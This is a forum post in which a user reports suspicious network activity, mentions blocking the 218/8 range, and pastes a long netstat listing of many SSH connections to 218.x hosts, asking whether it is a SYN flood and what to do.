Possible attack?

  • Permalink
  • submit to reddit
  • Email
  • Follow


I recently noticed excessive acitivity on my router's activity LED and
did a little investigating.  As immediate action, I used a big hammer
and firewalled off 218/8 until I can figure out what is going on here.
Yesterday, it was 201/8.

Below is most of output of netstat.  Can someone let me know what is
going on here?  SynFlood??  Also, any suggestions??

===== BEGIN =====
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address               Foreign Address State
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37775 218.25.160.246:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.lsa:safetynetp 218.25.17.78:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57080 218.25.228.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47493 218.25.164.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55216 218.25.23.202:ssh
TIME_WAIT   
tcp        1      1 x-xx-x-xx-xx.xxxxxxxx:35938 218.22.134.190:ssh
LAST_ACK    
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39028 218.25.200.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51003 218.23.19.146:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59585 218.25.108.11:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59673 218.25.125.57:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53762 218.25.42.230:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48582 218.25.164.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56311 218.25.105.156:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59068 218.25.68.131:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50593 218.24.134.59:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43444 218.25.16.243:ssh
FIN_WAIT2   
tcp        0    144 x-xx-x-xx-xx.xxxxxxxx:57082 218.25.131.55:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35755 218.25.16.80:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50585 218.25.72.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33870 218.24.136.208:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37288 218.25.90.18:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47056 218.25.36.155:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51429 218.25.62.117:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58097 218.25.10.90:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51884 218.25.62.117:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35544 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51054 218.25.164.67:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41542 218.25.200.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55323 218.25.90.18:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34829 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40940 218.25.10.96:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34398 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44125 218.25.160.246:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50068 218.25.129.2:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56645 218.25.10.146:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54662 218.25.36.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58924 218.25.57.36:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60523 218.25.88.164:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56838 218.25.228.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49033 218.25.82.35:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48851 218.25.91.198:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:32970 218.25.88.164:ssh
TIME_WAIT   
tcp        1      1 x-xx-x-xx-xx.xxxxxxxx:58091 218.25.22.130:ssh
CLOSING     
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45377 www.huachu.com.cn:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39854 218.25.160.246:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56368 218.25.23.202:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40340 218.25.10.189:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41732 218.25.42.214:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41449 218.25.23.234:ssh
TIME_WAIT   
tcp        0     68 x-xx-x-xx-xx.xxxxxxxx:50518 218.25.62.114:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57437 218.25.69.163:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60294 218.25.42.214:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47893 218.25.227.49:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44896 218.25.17.68:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42777 218.25.20.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38397 218.25.59.247:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49095 218.25.227.49:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49746 218.25.30.122:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52335 218.25.42.230:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49461 218.25.72.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37801 218.25.17.77:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38687 218.25.107.94:ssh
TIME_WAIT   
tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:56378 218.25.10.17:ssh
SYN_SENT    
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36641 218.25.62.115:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46728 218.25.240.214:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47649 218.25.91.198:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35772 218.25.246.116:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55864 218.25.101.146:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37397 218.25.62.115:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59027 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37125 218.25.57.18:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41737 218.25.62.116:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56882 218.25.23.202:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35799 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47044 218.24.148.167:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53872 218.25.42.230:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41543 218.24.143.5:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53433 218.25.16.80:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42741 218.25.76.53:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58012 218.25.228.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42430 218.25.10.97:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36092 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50163 218.25.17.77:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:32851 218.25.88.164:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36355 218.25.18.199:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53809 218.25.227.65:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58463 218.25.59.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57728 218.25.116.166:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52352 218.25.62.117:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56549 218.25.105.83:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53136 218.25.170.140:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48916 218.25.30.122:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46488 218.25.36.155:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36055 218.25.20.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58452 218.25.68.131:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41468 218.23.19.146:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46261 218.25.240.214:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43136 218.25.20.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53043 218.25.62.90:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39362 218.25.107.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41362 218.25.10.97:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45857 218.25.10.17:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40498 218.25.57.18:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37745 218.24.6.230:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59989 218.25.170.23:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37281 218.25.62.115:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54428 218.25.42.230:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37513 218.25.81.250:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60183 218.25.62.116:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45406 218.25.10.17:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59714 218.25.170.23:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33094 218.25.62.116:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48229 mail.sami.com.cn:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46949 218.25.200.50:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51745 218.24.190.206:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42422 218.25.82.6:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46936 218.24.148.167:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56740 218.25.105.83:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:49744 218.25.17.77:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43153 218.25.23.234:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37127 218.25.105.83:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42805 218.25.227.65:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55940 218.25.240.214:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41968 218.25.20.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42458 218.25.48.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50818 218.25.72.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59115 218.25.17.68:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42158 218.25.170.133:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36337 218.25.36.93:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51488 218.24.190.206:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53331 218.25.227.65:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53769 218.25.82.35:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57953 218.25.81.58:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45362 218.25.16.243:ssh
FIN_WAIT2   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51115 218.25.30.122:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43343 218.25.20.40:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37971 218.25.62.115:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54829 218.25.227.81:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51441 218.25.10.96:ssh
ESTABLISHED 
tcp        0     20 x-xx-x-xx-xx.xxxxxxxx:55845 218.25.88.164:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56830 218.25.10.17:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40489 218.25.131.134:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36338 218.25.234.46:ssh
TIME_WAIT   
tcp        0     20 x-xx-x-xx-xx.xxxxxxxx:37069 218.25.62.117:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38589 218.25.59.247:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:54000 218.25.227.65:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59130 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36857 218.25.234.46:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38059 218.25.62.115:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53213 218.25.170.140:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58427 218.25.116.166:ssh
TIME_WAIT   
tcp        0     52 x-xx-x-xx-xx.xxxxxxxx:33872 218.25.10.51:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42927 218.25.227.65:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58239 218.25.170.23:ssh
TIME_WAIT   
tcp        0      1 x-xx-x-xx-xx.xxxxxxxx:52327 218.23.251.226:ssh
SYN_SENT    
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45452 218.25.17.68:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46075 218.25.227.97:ssh
TIME_WAIT   
tcp        0     68 x-xx-x-xx-xx.xxxxxxxx:60270 218.25.170.23:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:46256 218.25.227.97:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51374 218.24.190.206:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55254 218.25.42.213:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39173 218.25.23.202:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33748 218.25.28.250:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44023 218.25.20.40:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53602 218.25.10.4:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38387 218.25.107.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40877 218.25.57.18:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51054 218.25.30.122:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35155 218.25.14.33:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34912 218.25.18.199:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57791 218.25.69.163:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47426 218.25.246.116:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44446 218.25.105.156:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43990 218.25.108.11:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:58614 218.25.22.130:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60963 218.25.27.37:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44349 218.25.160.246:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51297 218.25.42.213:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39717 218.25.10.90:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35154 218.25.101.146:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33055 218.25.82.6:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51410 218.25.42.213:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50879 218.25.62.114:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37879 218.25.62.115:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53561 218.25.62.90:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47967 218.25.107.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56740 218.25.10.17:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52958 218.25.62.90:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51584 218.25.30.122:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60973 218.25.228.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39797 218.25.76.58:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50985 218.24.134.59:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59016 218.25.57.36:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48848 218.25.131.134:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57805 218.25.81.58:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43778 218.24.143.5:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:44775 218.25.10.17:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:43529 218.25.59.247:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56382 218.25.90.18:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52452 218.25.62.117:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:34923 218.25.105.200:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36143 218.25.105.172:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35185 218.25.114.234:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39928 218.25.160.246:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40971 218.25.57.18:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53711 218.25.227.65:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38527 218.25.23.202:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45839 www.huachu.com.cn:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45247 218.25.17.68:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35846 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33423 218.25.234.46:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53171 218.25.59.188:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:57264 218.25.105.171:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:33462 218.25.28.250:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39213 218.25.107.94:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60239 218.25.59.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41864 218.23.19.146:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50226 218.25.62.114:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42227 218.25.10.97:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59479 218.25.57.36:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60154 218.25.105.200:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59323 218.22.134.190:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:59285 218.25.57.36:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:40879 218.24.143.5:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50614 218.25.164.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50374 218.25.17.77:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41936 218.24.143.5:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52074 218.25.62.117:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:32860 218.25.228.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51747 218.25.42.213:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47866 218.25.91.198:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60722 218.25.125.57:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48751 218.25.20.40:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51255 218.25.62.114:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42803 218.25.71.30:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45763 218.25.240.214:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60677 218.25.69.162:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:48837 218.25.62.114:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56073 218.25.88.164:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55706 218.25.42.213:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47417 218.25.69.162:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51388 218.25.30.122:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36836 218.25.57.18:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39494 218.25.10.189:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36788 218.25.131.112:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:42887 218.25.23.234:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:38396 218.22.202.242:ssh
TIME_WAIT   
tcp        0     52 x-xx-x-xx-xx.xxxxxxxx:42351 218.25.170.133:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53987 218.25.82.35:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52394 218.25.125.57:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:56814 218.25.91.182:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:39091 218.25.10.90:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:37641 218.25.227.17:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:52838 218.25.59.188:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:53004 218.25.59.188:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60740 218.25.228.66:ssh
TIME_WAIT   
tcp        0     20 x-xx-x-xx-xx.xxxxxxxx:59679 218.25.105.24:ssh
ESTABLISHED 
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36434 218.25.20.66:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:47337 218.25.200.50:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60666 218.25.76.53:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:50323 218.25.62.114:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:45250 218.25.10.146:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:35563 218.25.16.80:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:41688 218.25.170.133:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:36655 218.25.227.81:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:60969 218.25.69.162:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:55106 218.25.42.230:ssh
TIME_WAIT   
tcp        0      0 x-xx-x-xx-xx.xxxxxxxx:51263 218.25.72.50:ssh
TIME_WAIT   
